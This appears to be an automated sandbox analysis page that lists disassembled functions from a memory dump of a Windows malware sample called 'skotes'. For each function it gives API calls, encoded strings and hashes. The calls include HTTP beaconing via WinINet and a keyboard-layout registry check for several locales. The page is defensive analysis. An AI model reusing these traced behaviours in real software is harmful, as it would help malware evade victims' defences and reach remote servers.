Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: 45ebb90b4f5ec192ba40cd24050546a4cf5535cc3e6aa7e53f64900bc5195cad
Instruction ID: 3e3f9edf65b92bd977e636b5e8a69dd4016fb4af51091b1e293b69db830fcdef
Opcode Fuzzy Hash: 45ebb90b4f5ec192ba40cd24050546a4cf5535cc3e6aa7e53f64900bc5195cad
Instruction Fuzzy Hash: 3691A0B1A001189BDB28DB28CD85FEDB7B9EB45304F4045EDE51997292DB319BC48FA4

Function 00ACEB4E Relevance: 30.1, APIs: 3, Strings: 13, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00ACEB51
CreateDirectoryA.KERNEL32(00000000), ref: 00ACEC83
GetFileAttributesA.KERNEL32(00000000), ref: 00ACED98

Strings

246122658369, xrefs: 00ACF737, 00ACFA14, 00ACFE00, 00AD05E7
9c9aa5, xrefs: 00ACFB8E
mxo1L0x, xrefs: 00ACEE84
stoi argument out of range, xrefs: 00AD08C4
111, xrefs: 00ACF7A0
UA==, xrefs: 00ACEC41, 00ACED56, 00ACEF89, 00ACF2CE
GiQaT29tduF=, xrefs: 00ACFEB6
WTs=, xrefs: 00AD05CA
#, xrefs: 00AD0624
invalid stoi argument, xrefs: 00AD08B0
FCQgKF==, xrefs: 00ACFEE4
FisgLnsCZO1i, xrefs: 00ACFF19
WDw=, xrefs: 00ACF71D, 00ACF9FA, 00ACFDE3

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-2267310118
Opcode ID: c69dce03d02a1bb0421c828de1bcfa1157a37f04ff74c34b1481a62030040e5d
Instruction ID: 2d57e5a43f1c215a1989aae185fcb2f15fb1720a134d5b11a6dffcc03cad0d16
Opcode Fuzzy Hash: c69dce03d02a1bb0421c828de1bcfa1157a37f04ff74c34b1481a62030040e5d
Instruction Fuzzy Hash: 46F24A71A101489FEB1CDB38CE89BDDBB72AF41304F50819DE44AA73D6DB359AC48B91

Function 00ACBE30 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,E6CEA310,?,00000000), ref: 00ACBEB8
InternetOpenW.WININET(00B18DC8,00000000,00000000,00000000,00000000), ref: 00ACBEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00ACBEEC
HttpOpenRequestA.WININET(?,00000000), ref: 00ACBF36
HttpSendRequestA.WININET(?,00000000), ref: 00ACBFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 00ACC0A8
InternetCloseHandle.WININET(?), ref: 00ACC187
InternetCloseHandle.WININET(?), ref: 00ACC18F
InternetCloseHandle.WININET(?), ref: 00ACC197

Strings

8HJUeMD Lq5=, xrefs: 00ACC465
8HJUeIfzLo==, xrefs: 00ACC3CB, 00ACC623
stoi argument out of range, xrefs: 00ACE4EA
invalid stoi argument, xrefs: 00ACE4F4
RE1NXF==, xrefs: 00ACBF0E

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-885246636
Opcode ID: b9434031574b1136a8785243840fdc3fafbed2ef5c1a4c2535f83de882aacab2
Instruction ID: e67d03d7bd2651f74ed73d8ba57d58a45c0b733afd054777abcf47b3a33becac
Opcode Fuzzy Hash: b9434031574b1136a8785243840fdc3fafbed2ef5c1a4c2535f83de882aacab2
Instruction Fuzzy Hash: A8B1F3B1A101189BDB28CF28CC85FEEBBB5EF45314F50819DF50997291DB719AC0CB94

Function 00AC6020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 00AC617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00AC6271

Strings

0000043f, xrefs: 00AC612B
00000419, xrefs: 00AC6098
Keyboard Layout\Preload, xrefs: 00AC6054
00000423, xrefs: 00AC60FA
00000422, xrefs: 00AC60C9

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 8eeb502a83fc0ca7a5196c5f52af00dc665ef83d5f5362938381c0626ccc6f82
Instruction ID: 8778edc67755329c849760463ada44d2cacb08ae57eec5a0b3a1e37669443fec
Opcode Fuzzy Hash: 8eeb502a83fc0ca7a5196c5f52af00dc665ef83d5f5362938381c0626ccc6f82
Instruction Fuzzy Hash: C3B1CD719002689BDB24DB24CD89FDEB7B9AF04300F5442D9E509E7291DB74AFE88F94

Function 00AC7D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00AC7ED3

Strings

JjssPV==, xrefs: 00AC81E2
JjsrPl==, xrefs: 00AC828A
JjssOl==, xrefs: 00AC813A
JjsrQV==, xrefs: 00AC8092

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: ba5cecb50d825dede2616775138a5394b1d4bc140c059ce8c9cb892a3a62f966
Instruction ID: eec50f78f9f9899c7e06055edff09ed6c932740e3c0e7bf29a980b1a7124361f
Opcode Fuzzy Hash: ba5cecb50d825dede2616775138a5394b1d4bc140c059ce8c9cb892a3a62f966
Instruction Fuzzy Hash: DFE1F871E006549BDB24BB28CD4BBAE7B61AB41720F9502DCE415AB3D2DF355E818BC2

Function 00B01ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

